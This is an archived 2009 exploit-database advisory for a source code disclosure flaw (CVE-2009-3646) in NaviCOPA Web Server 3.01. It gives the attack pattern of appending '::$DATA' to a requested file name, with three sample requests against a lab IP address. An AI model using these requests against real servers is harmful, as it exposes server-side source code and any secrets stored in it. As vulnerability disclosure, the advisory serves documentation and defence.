NaviCOPA Web Server 3.01 - Source Code Disclosure

EKU-ID: 17455	CVE: OSVDB-58386;CVE-2009-3646	OSVDB-ID:
Author: Dr_IDE	Published: 2009-09-16	Verified:
Download:

Rating

☆☆☆☆☆

#################################################################################
#
# NaviCOPA Web Server 3.01 Remote Source Code Disclosure
# Found By:		Dr_IDE
# Tested On:	Windows XPSP3
#
#################################################################################

- Description -

NaviCOPA Web Server 3.01 is a Windows based HTTP server. This is the latest version of
the application available.

NaviCOPA is vulnerable to remote arbitrary source code disclosure by the following means.

- Technical Details -

	http://[ webserver IP]/[ file ][::$DATA]

	http://172.16.2.101/index.html::$DATA

	http://172.16.2.101/default.asp::$DATA

	http://172.16.2.101/index.php::$DATA

# milw0rm.com [2009-09-16]